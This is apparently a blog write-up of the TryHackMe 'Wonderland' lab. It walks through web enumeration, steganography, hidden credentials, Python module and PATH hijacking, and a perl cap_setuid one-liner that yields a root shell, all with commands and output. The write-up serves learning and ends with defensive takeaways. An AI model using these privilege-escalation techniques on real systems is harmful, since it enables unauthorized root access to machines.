Join the TryHackMe Wonderland room

This is one of my favorite rooms so far. Challenging with a fun theme: Alice in Wonderland. And it lives up to it.

Scanning and Enumeration

Started with an nmap scan that produced nothing interesting. I already knew port 80 was open because I’d tried the IP in the browser as I always do after I start my scans.

sudo nmap -sV -T4 -p- -oN wonderland 10.10.206.15
(out)Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-20 21:59 EDT
(out)Nmap scan report for 10.10.206.15
(out)Host is up (0.11s latency).
(out)Not shown: 65533 closed ports
(out)PORT   STATE SERVICE VERSION
(out)22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
(out)80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
(out)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
(out)Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
(out)Nmap done: 1 IP address (1 host up) scanned in 161.97 seconds

I tried ffuf and gobuster side by side and I’ll be using ffuf from here on out. It was way faster and has recursion. I’ll show only the important output as ffuf is pretty verbose.

ffuf -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -u http://10.10.206.15/FUZZ -recursion
(out)img    [Status: 301, Size: 0, Words: 1, Lines: 1]
(out)r   [Status: 301, Size: 0, Words: 1, Lines: 1]
(out)poem   [Status: 301, Size: 0, Words: 1, Lines: 1]
(out)a  [Status: 301, Size: 0, Words: 1, Lines: 1]
(out)[INFO] Adding a new job to the queue: http://10.10.206.15/r/a/FUZZ

While ffuf was running, I checked for robots.txt and there was nothing. The http://10.10.206.15/r/ directory came up, I checked it out and found a clue “Keep Going. ‘Would you tell me please. which way I ought to go from here?’”. I didn’t know it at the time. I probably should have put the pieces together by this time, but I did not.

After seeing http://10.10.206.15/r/a/ it became obvious. I went letter by letter until I reached the end http://10.10.206.15/r/a/b/b/i/t/. Each was a quote until the end. The t also had an image so I thought steg. I downloaded the image.

steghide extract -sf alice_door.png
(out)steghide: the file format of the file "alice_door.png" is not supported.

Doh! That’s right, PNGs aren’t supported. I’m sure there is some app that could help me, but if it’s a PNG that is probably a sign that it is a dead end. So I go back and check out the image on the index page to see if it is also a PNG. It’s a JPG. It makes no sense to have similar images of different formats unless they need transparency or something, so I think definitely steg and give it a shot.

tryhackme wonderland homepage
tryhackme wonderland homepage
steghide extract -sf white_rabbit_1.jpg
(out)wrote extracted data to "hint.txt"

Getting in

The hint.txt file reads: “follow the r a b b i t” - I already knew this because of the ffuf scan, so back to http://10.10.206.15/r/a/b/b/i/t/ it is. I re-read the page and nothing jumped out at me so I did what I always do when I can’t find anything, open Inspector. As soon as I looked at the html it was obvious I’d find something because I saw an inline style with display: none which means something was being hidden. There I found a username and password.

tryhackme wonderland /r/a/b/b/i/t inspector
tryhackme wonderland /r/a/b/b/i/t inspector

When I find a username and password, the first thing I always go for is SSH.

ssh alice@10.10.206.15

Post Exploit

Flag 2: User

And I’m in. I do the usual first steps: run id, list contents of my home directory and I find a root.txt file. Of course that would have been too easy. I did not have permissions.

I did try to cat the root.txt file before changing directories, but still no permissions. I tried finding the user.txt file: find / -name user.txt -type f 2>/dev/null, but nothing came up.

id
(out)uid=1001(alice) gid=1001(alice) groups=1001(alice)
ls -la
(out)lrwxrwxrwx 1 root  root     9 May 25 17:52 .bash_history -> /dev/null
(out)-rw-r--r-- 1 alice alice  220 May 25 02:36 .bash_logout
(out)-rw-r--r-- 1 alice alice 3771 May 25 02:36 .bashrc
(out)drwx------ 2 alice alice 4096 May 25 16:37 .cache
(out)drwx------ 3 alice alice 4096 May 25 16:37 .gnupg
(out)drwxrwxr-x 3 alice alice 4096 May 25 02:52 .local
(out)-rw-r--r-- 1 alice alice  807 May 25 02:36 .profile
(out)-rw------- 1 root  root    66 May 25 17:08 root.txt
(out)-rw-r--r-- 1 root  root  3577 May 25 02:43 walrus_and_the_carpenter.py
cat root.txt
(out)cat: root.txt: Permission denied

Next I ran the other interesting file python walrus_and_the_carpenter.py that is owned by root, but I got an error that python was not found.

Ran more of the usuals:

ls /home
(out)alice  hatter  rabbit  tryhackme

I have several users, I try listing contents of their home directories, but no permissions.

Moving to user: rabbit

sudo -l
(out)Matching Defaults entries for alice on wonderland:
(out)env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
(out)
(out)User alice may run the following commands on wonderland:
(out)(rabbit) /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

Now I’ve got something. I can run that file, but I have to use the given Python path. I run it to see what it does.

/usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
(out)The line was:    The sun was shining on the sea,
(out)The line was:    "If this were only cleared away,"
(out)The line was:    The Carpenter said nothing but
(out)The line was:    And all of us are fat!"
(out)The line was:    We can begin to feed."
(out)The line was:    "Do you admire the view?
(out)The line was:    And more, and more, and more —
(out)The line was:    Turning a little blue,
(out)The line was:    The Walrus and the Carpenter
(out)The line was:    And whether pigs have wings."

Then I read it:

cat /home/alice/walrus_and_the_carpenter.py

The very first line is already looking promising. I have an import with a relative path: import random. Naturally, I’m going to try to spawn a shell from this file since it is owned by root. I create a file named random.py with the following:

import os                                                                                            
import pty                                                                                             
pty.spawn("/bin/bash")

I then ran the script, but with a sudo -u rabbit so that I could change to the rabbit user. Picking the rabbit user over the hatter was a pure guess. I consider the hatter a more boss character, so I just thought of him as closer to root and figured he would be last. It paid off this time.

sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
id
(out)uid=1002(rabbit) gid=1002(rabbit) groups=1002(rabbit)
cd /home/rabbit
ls -la
(out)lrwxrwxrwx 1 root   root       9 May 25 17:53 .bash_history -> /dev/null
(out)-rw-r--r-- 1 rabbit rabbit   220 May 25 03:01 .bash_logout
(out)-rw-r--r-- 1 rabbit rabbit  3771 May 25 03:01 .bashrc
(out)-rw-r--r-- 1 rabbit rabbit   807 May 25 03:01 .profile 
(out)-rwsr-sr-x 1 root   root   16816 May 25 17:58 teaParty

Now in the rabbit directory, there is a file owned by root named teaParty, but it has no file extension so I need to figure out what it is.

cd /home/rabbit
file teaParty
(out)teaParty: setuid, setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=75a832557e341d3f65157c22fafd6d6ed7413474, not stripped

I see “.so”, which is a good sign, I’ve used shared objects as an exploit before. I tried using strings to see if I could find anything else interesting, but it is not available to my user (or maybe at all). I run the program to see what it does.

./teaParty
(out)Welcome to the tea party!
(out)The Mad Hatter will be here soon.
(out)Probably by Sun, 23 Aug 2020 02:56:58 +0000
(out)Ask very nicely, and I will give you some tea while you wait for him

Got it, hatter is the next hop I need to make.

Moving to user: hatter

I tried strace /home/rabbit/teaParty 2>&1 | grep -iE "open|access|no such file", but all the paths were to the /etc/ directory which I could not write to so that seemed like a dead end to me.

I wanted to run strings on this so I needed to get it to my machine, but I can’t just cat and copy it because it’s a bunch of gibberish. I used the oft-neglected scp command. If you have SSH, you should be able to use it.

I don’t have rabbit user’s password so I have to use the alice user. I had to move the file to a place that I could get access to it.

cp teaParty tmp/teaParty
scp alice@10.10.206.15:/tmp/teaParty teaParty
(out)teaParty    100%   16KB  77.2KB/s   00:00
strings teaParty

I won’t bore you with the output except to tell you that after skimming it, I finally found /bin/echo -n 'Probably by ' && date --date='next hour' -R one of the few lines that made sense. date is another program being called with a relative path, it looks like I can make another lateral move with a similar exploit.

In rabbit’s home directory I create a file named date:

#!/bin/bash
/bin/bash

I then ran the teaParty file. After checking my id, I was still rabbit. I was sure this should work and after spinning my wheels for a bit, I realized I had not updated the permissions on the date executable so I did that with chmod +x date and ran it again.

With Python, there was no need to change the PATH since it would just look in the existing directory, but with binaries, it will look in the PATH env variable, so I had to update it to use my home directory. I initially forgot this and spent more time knowing this should work and banging my head on why it was not.

Once I was the hatter, I changed to his directory, listed the files and found a password.txt file.

export PATH=/home/rabbit:$PATH
chmod +x date
./teaParty
id
(out)uid=1003(hatter) gid=1002(rabbit) group
cd /home/hatter
ls -la
(out)lrwxrwxrwx 1 root   root      9 May 25 17:53 .bash_history -> /dev/null
(out)-rw-r--r-- 1 hatter hatter  220 May 25 02:58 .bash_logout
(out)-rw-r--r-- 1 hatter hatter 3771 May 25 02:58 .bashrc
(out)drwxrwxr-x 3 hatter hatter 4096 May 25 03:42 .local
(out)-rw-r--r-- 1 hatter hatter  807 May 25 02:58 .profile
(out)-rw------- 1 hatter hatter   29 May 25 22:56 password.txt

Finding the user flag

I still hadn’t found a user flag though. I was perplexed. Seems like an awful lot of movement with no flag. I try to find the user.txt file again and nothing. 🤔

Alice opening doors
Me looking for that user flag

I stopped to give this some thought and it dawned on me that if root.txt was in a non-root user, maybe user.txt was in the root user. I’d tried to access the root dir with no success, so I tried for the actual file.

cat /root/user.txt
(out)thm{REDACTED_USER_FLAG}

Wow, everything is upside down here.

Finding the root flag

There wasn’t much going on here aside from this password which I was sure belonged to this user or root. I ran sudo -l to be sure and while hatter can’t run sudo, it did accept the password.

When nothing is obvious, it’s time to run my favorite script: Linux Smart Enumeration. I had trouble getting wget or curl to work so I just copied and pasted the contents of the script to a file in the /tmp/ directory and ran it.

cd /tmp/
chmod +x lse.sh
./lse.sh
(out)... much lse output was here ...
(out)[*] sec010 List files with capabilities.................................... yes!
(out)---
(out)/usr/bin/perl5.26.1 = cap_setuid+ep
(out)/usr/bin/mtr-packet = cap_net_raw+ep
(out)/usr/bin/perl = cap_setuid+ep
(out)... much lse output was here ...

Once I see setuid I am interested, but I had no idea what capabilities are so I had to go and read about them. I found this article Linux PrivEsc Using Capabilities which explains them well.

Equipped with this knowledge I know that GTFOBins will probably have the info I need. I created a tool for getting GTFOBins info without having to use the browser. You can grab it on Github

ggtfobins tool
Get ggtfobins perl capabilities info

I read through and try the perl capabilities exploit which provides this command: ./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'. Looking at the output of our Linux Smart Enumeration scan, we need to use perl instead since the bin is in the /usr/bin directory and not in our current directory.

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

I kept getting permission denied when trying to run this. I knew I should have permissions. I checked my user id again and realized I had the rabbit user gid. I tried SSHing in as hatter since I have the password (the password had to be for something) and trying this again. I couldn’t use sudo -u in this case since hatter was not in sudoers. That worked.

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
id
(out)uid=0(root) gid=1003(hatter) groups=1003(hatter)

And I am finally root! Just one thing left to do.

cat /alice/root.txt
(out)thm{REDACTED_ROOT_FLAG}

Takeaways

Attacker

  • Don't forget that binaries need chmod +x permissions
  • Don't forget that $PATH needs to be updated to be able to run binaries that have relative paths in the place where you have placed the replacement file
  • Pay more attention to nuances like the root.txt being in a non-root user's home directory. It often is a clue for other things.

Victim

  • If you give an executable capabilities, make sure it is not a binary and capability that can be used together to escalate privileges.
  • Don't leave credentials laying round in plain text.

Invaluable Tools